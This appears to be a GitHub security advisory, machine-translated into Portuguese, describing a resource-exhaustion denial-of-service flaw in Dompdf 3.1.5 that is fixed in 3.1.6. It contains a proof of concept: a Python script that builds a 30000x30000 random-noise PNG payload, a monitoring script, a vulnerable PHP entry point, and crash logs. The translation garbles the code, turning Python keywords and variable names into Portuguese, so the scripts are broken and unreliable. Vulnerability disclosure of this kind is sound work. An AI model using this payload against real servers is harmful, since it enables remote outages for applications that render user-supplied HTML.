### Sumário Dompdf v 3.1.5 é vulnerável a um ataque de Negação de Serviço (DoS) através da exaustão de recursos. Um atacante pode bloquear o processo PHP fornecendo um documento HTML especialmente criado contendo uma única imagem com dimensões enormes (por exemplo, 30,000 x 30,000 pixels). Enquanto o Dompdf implementa verificações internas para validar as dimensões da imagem, estas podem ser evitadas usando uma imagem de alta entropia (como ruído aleatório) codificada na Base 64 e embrulhado em recipientes CSS específicos. ### Imersão Técnica Profunda: As imagens de cor sólida padrão podem ser otimizadas frequentemente por algoritmos de compressão ou motores de renderização. No entanto, uma imagem de ruído de alta entropia força o motor PHP a processar cada um dos 900 milhões de pixels individualmente. Quando o render() é chamado, o motor tenta manipular o bitmap não comprimido em memória e calcular o layout para cada ponto de dados de pixels de alta variação. Isto leva a: - ** 100% Saturação da CPU:** O fio de renderização pendura-se indefinidamente tentando processar o fluxo de pixels. - ** Terminação do processo:** A alocação de memória maciça (verificada em ~ 1.2 GB para uma única imagem) desencadeia um erro fatal ou um SIGKILL (OOM) de nível OS, resultando em uma Negação imediata de Serviço.

### Detalhes A vulnerabilidade existe porque a validação de dimensão ocorre cedo, mas a alocação de recursos para calcular a caixa de limites do objeto e os buffers internos durante a fase de renderização não limita estritamente o tempo de CPU ou o uso de memória acumulado para um único objeto que tenha passado a verificação inicial. ### PoC (Prova do Conceito) 1. Instalar o Dompdf v 3.1.5 via Composer. ``` compositor requer dompdf/dompdf: 3.1.5 ``` 2. Use o seguinte script Python para gerar a carga útil maliciosa (`exploit.py`): ```python da base de importação de imagens PIL 64 a partir da importação do BytesIO DIMENSÕES = ( 30000, 30000 ) OUTPUT_FILE = "payload.html". def generate_noise_bomb(): print( f"[*] Gerando {DIMENIOS[ 0 ]}x{DIMENSÕES[ 1 ]} Bomba de ruído de alta entropia...").

aleatoriamente_bytes = os.urandom(DImensÕES[ 0 ] * DIMENSÕES[ 1 ]) imagem = Image.frombytes('L', DIMENSÕES, aleatório_bytes) buffer = BytesIO() # Usando PNG em vez do JPEG para forçar a descompressão completa do bitmap na memória image.save(buffer, format="PNG") image_base 64 = base 64.b 64 encode(buffer.getvalue()).decode() html_ content = f""" PoC: Exaustão de Recursos """. com open(OUTPUT_FILE, "w") como f: f.write(html_content) print(f"[+] Carga útil de alta entropia salva em: {OUTPUT_FILE}").

se __nom__== "__main__": generate_ruise_bomb() ``` 3. Use o seguinte script Python para monitorar os recursos do sistema em um terminal separado (`monitor.py`): ```python importar o tempo de importação psutil def start_monitoring(): print("[*] Procurando por processos PHP... (Press Ctrl+C para parar)"), tente: enquanto True: para proc em psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']): se 'php' em proc.info['name']. lower(): tente: pid = proc.info['pid'] mem = proc.info['memory_info'].rss / ( 1024 * 1024 ) cpu = proc.cpu_percent (intervalo= 0.1 ) print( f"\r[MONITOR] PID: {pid}. RAM: {mem:. 2 f} MBň CPU: {cpu}%", end="", flush=Verdade) exceto (psutil.NoSuchProcess, psutil.AccessoDenied): print( f"\n[!] CRASSO DETEITO: Processo {pid} terminou abruptamente.") tempo de retorno.sleep( 0.05 ) exceto Interrupção do teclado: print("\n[*] Monitoramento terminado.") se __nom__== "__main__": start_monitoring(). ``` 4. Crie um arquivo chamado `rending.php`. Este script atua como o ponto de entrada vulnerável, imitando uma implementação padrão da biblioteca Dompdf: ```php <?php require_ once __ DIR__. '/ vendor/ autoload.php'; use Dompdf\Dompdf; use Dompdf\ Opções;.

$options = novas Opções(); $options->set('isRemoteEnabled', true); $options->set('isHtml 5 Aparelhamento Activado ', verdadeiro). $dompdf = novo Dompdf($options); $html = file_get_ contents('php://stdin'). eco "[*] Iniciando o processo de renderização do Dompdf...\n"; try { $dompdf->loadHtml($html); $dompdf->rending(); // ponto de exaustão do recurso eco "[+] PDF renderizado com sucesso.\n"; } catch (Exceção $e) { eco "[!] Render falhou: ". $e->getMessage(). "\n"; } ``` 5. Execute o processo PHP, fornecendo a carga útil via stdin. Nós usamos um 2 Limite de memória GB para demonstrar que o crash é causado por uma alocação descontrolada em vez de uma configuração restritiva do servidor: ``` php -d memory_limit= 2 G render.php < payload.html ``` 6. O motor tenta processar cada pixel da imagem de alta entropia. O script monitor.py irá gravar 99.8% Saturação da CPU, seguida de um erro fatal do PHP (exausto do tamanho da memória) como o Dompdf tenta alocar ~ 1.2 GB em uma única operação. O processo é então encerrado, confirmando a Negação de Serviço.

Prova de Resultados do Conceito. 7 f 936 f 4 - 570 a- 4 dd 8 - 8022 - 9 c 219664 eb 5 b Os seguintes registros demonstram a exploração bem sucedida da vulnerabilidade de exaustão de recursos. Apesar de um generoso 2 Limitação de memória GB fornecida ao processo PHP, uma única imagem de alta entropia causa um acidente fatal. Geração de carga útil: ``` python 3 Exploit.py [*] Gerando 30000 x 30000 Bomba de ruído de alta entropia... [+] Carga útil de alta entropia salva em: carga útil.html ```.

Execução do alvo & Negação de serviço. ``` Execução de comando php -d memory_limit= 2 G render.php < payload.html ``` ``` Saída [*] Iniciando o processo de renderização Dompdf... Erro fatal do PHP: Tamanho de memória permitido 2147483648 bytes exaustos (tentou alocar 1200355712 bytes) em / home/ far 00 t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php na linha 490 ``` Ao executar o processo render.php, o script monitor.py capturou a seguinte telemetria, mostrando o impacto nos recursos do sistema: ``` python 3 monitor.py [*] Procurando por processos PHP... (Press Ctrl+C para parar) [MONITOR] PID: 210767 RAM: 953.17 CPU do MBň: 99.7% ``` ### Achados chaves da Telemetria: - CPU A ingestão: O processo atingiu um sustentado 99.7% Uso da CPU. Num ambiente de produção, este nível de saturação num processo PHP de uma única face efetivamente nega o serviço a qualquer outra tarefa nesse núcleo. - Inflação da Memória Rápida: A memória residente (RSS) subiu para 953.17 MB pouco antes do motor tentar a alocação final de 1.2 GB que desencadeou o erro fatal. - Confirmação de Bypass: A telemetria prova que os limites internos "seguros" do Dompdf foram ignorados, pois o motor passou a tentar uma descompressão maciça do bitmap que o ambiente do host não pôde suportar.

Impacto Um atacante remoto não autenticado pode causar uma Negação completa de Serviço no servidor web, submetendo uma string HTML criado. Isto afeta qualquer aplicativo que permita aos usuários fornecer conteúdo HTML ou URLs que posteriormente são convertidos para PDF usando o Dompdf. ## Créditos - Pesquisador de Segurança Ofensiva: Fabian Rosales (além 00 t 01 ). Registro de aconselhamento: GHSA-f 5 gf- 2 cj 8 - 52 g 2. Identificadores relacionados: CVE- 2026 - 59942.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 22 T 22: 51: 40.000 Z e lista a sua última modificação como 2026 - 07 - 22 T 22: 51: 40.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/África do Sul:N.

Software afetado e informações de versão: Packagist dompdf/dompdf — ECOSISTEM: introduzido 0, corrigido 3.1.6. Classificação e evidência: identificadores de fraqueza CWE- 400, CWE- 770. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.